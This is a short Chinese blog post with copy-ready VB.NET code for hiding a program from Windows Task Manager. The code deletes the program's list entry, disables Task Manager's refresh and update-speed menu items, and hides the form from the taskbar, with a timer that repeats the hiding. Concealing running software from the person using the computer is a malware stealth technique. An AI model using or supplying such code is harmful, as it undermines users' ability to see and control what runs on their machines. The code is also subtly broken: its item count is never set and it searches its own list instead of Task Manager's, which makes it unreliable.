2011年9月1日 星期四

隱藏程序(Hide Process)

Private Function HideProcess(ByVal pName As String, Optional ByVal pHide As Boolean = True)
On Error Resume Next
Dim lhWndParent As Int32 = FindWindow(Nothing, "Windows 工作管理員")
Dim lhWndDialog As Int32 = 0
Dim lhWndProcessList As Int32 = 0
Dim lhWndProcessHeader As Int32 = 0
Dim hMenu As Int32 = GetMenu(lhWndParent) 'get it's menu handle
Dim hSubMenu As Int32 = GetSubMenu(hMenu, 2) 'get it's submenu handle for "View"
Dim hSubSubMenu As Int32 = GetSubMenu(hSubMenu, 1) 'get it;s subsub menu handle for "update speed"
Dim hId1 As Int32 = GetMenuItemID(hSubMenu, 0) 'Get id for "refresh now" item
Dim hId2 As Int32 = GetMenuItemID(hSubSubMenu, 0) 'Get id for "high update speed" item
Dim hId3 As Int32 = GetMenuItemID(hSubSubMenu, 1) 'Get id for "normal update speed" item
Dim hId4 As Int32 = GetMenuItemID(hSubSubMenu, 2) 'Get id for "low update speed" item
Dim hId5 As Int32 = GetMenuItemID(hSubSubMenu, 3) 'Get id for "paused update speed" item
If pHide = True Then
Dim ProcessItemCount, ProcessItemIndex As Int32
Dim itemString As String, p As New Diagnostics.Process, Processes() As Diagnostics.Process
For i As Int32 = 1 To 7
lhWndDialog = FindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
If lhWndProcessList = 0 Then lhWndProcessList = FindWindowEx(lhWndDialog, 0, "SysListView32", "Processes")
If lhWndProcessHeader = 0 Then lhWndProcessHeader = FindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
Next
For z As Int32 = 0 To ProcessItemCount - 1
itemString = ListView1.Items.Item(z).Text.ToString()
If itemString = pName Then ProcessItemIndex = z
Next
SendMessage(lhWndParent, WM_COMMAND, hId5, 0)
EnableMenuItem(hMenu, hId1, MF_GRAYED)
EnableMenuItem(hMenu, hId2, MF_GRAYED)
EnableMenuItem(hMenu, hId3, MF_GRAYED)
EnableMenuItem(hMenu, hId4, MF_GRAYED)
EnableMenuItem(hMenu, hId5, MF_GRAYED)
LockWindowUpdate(lhWndProcessList)
SendMessage(lhWndParent, WM_COMMAND, hId1, 0)
SendMessage(lhWndProcessList, LVM_SORTITEMS, 0, Nothing)
SendMessage(lhWndProcessList, LVM_DELETEITEM, ProcessItemIndex, 0)
LockWindowUpdate(False)

If lhWndParent = 0 Then
If Timer1.Interval <> 800 Then Timer1.Interval = 800 'Set to react fast while task manager is closed.
Else
If Timer1.Interval <> 2500 Then Timer1.Interval = 2500 'Set to a normal looking update speed, while the task manager remains open.
End If
Else
Timer1.Enabled = False 'kill the timer
For i As Int32 = 1 To 7
lhWndDialog = FindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
If lhWndProcessList = 0 Then lhWndProcessList = FindWindowEx(lhWndDialog, 0, "SysListView32", "Processes")
If lhWndProcessHeader = 0 Then lhWndProcessHeader = FindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
Next
EnableMenuItem(hMenu, hId1, MF_ENABLED) 're-enable refresh now
EnableMenuItem(hMenu, hId2, MF_ENABLED) 're-enable high update speed
EnableMenuItem(hMenu, hId3, MF_ENABLED) 're-enable normal update speed
EnableMenuItem(hMenu, hId4, MF_ENABLED) 're-enable low update speed
EnableMenuItem(hMenu, hId5, MF_ENABLED) 're-enable paused update speed
SendMessage(lhWndParent, WM_COMMAND, hId3, 0) 'click normal update speed
SendMessage(lhWndParent, WM_COMMAND, hId1, 0) 'click refresh now
EnableWindow(lhWndProcessHeader, 1) 'Enable process header
End If
Return True
End Function
'===========================================================
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False 'hide application from taskbar
Timer1.Interval = 700 'Set to start fast
Timer1.Enabled = True 'Actually start the timer
ListView1.Visible = False
ListView1.View = View.Details
ListView1.Columns.Add("Process name", -2, HorizontalAlignment.Left)
ListView1.Sorting = SortOrder.Ascending
End Sub
Private Sub Form1_FormClosed(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles MyBase.FormClosed
HideProcess("", False)
End Sub
'============================================================
Const WM_COMMAND As Int32 = &H111
Const MF_ENABLED As Int32 = &H0
Const MF_GRAYED As Int32 = &H1
Const LVM_FIRST As Int32 = &H1000
Const LVM_DELETEITEM As Int32 = (LVM_FIRST + 8)
Const LVM_SORTITEMS As Int32 = (LVM_FIRST + 48)
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Int32
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Int32, ByVal hWnd2 As Int32, ByVal lpsz1 As String, ByVal lpsz2 As String) As Int32
Private Declare Function EnableWindow Lib "user32" Alias "EnableWindow" (ByVal hwnd As Int32, ByVal fEnable As Int32) As Boolean
Private Declare Function GetMenu Lib "user32" Alias "GetMenu" (ByVal hwnd As Int32) As Int32
Private Declare Function GetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
Private Declare Function GetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
Private Declare Function EnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal hMenu As Int32, ByVal wIDEnableItem As Int32, ByVal wEnable As Int32) As Int32
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Int32, ByVal wMsg As Int32, ByVal wParam As Int32, ByVal lParam As String) As Int32
Private Declare Function GetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Int32
Private Declare Function LockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal hwndLock As Int32) As Int32

用一個 ListView
code 可直接復製
只能隱藏表面的程序 不能隱藏在"處理程序"中 也不能隱藏別的程序 只能隱藏在 "應用程序" 中
但這算是 中等的技術了

沒有留言:

張貼留言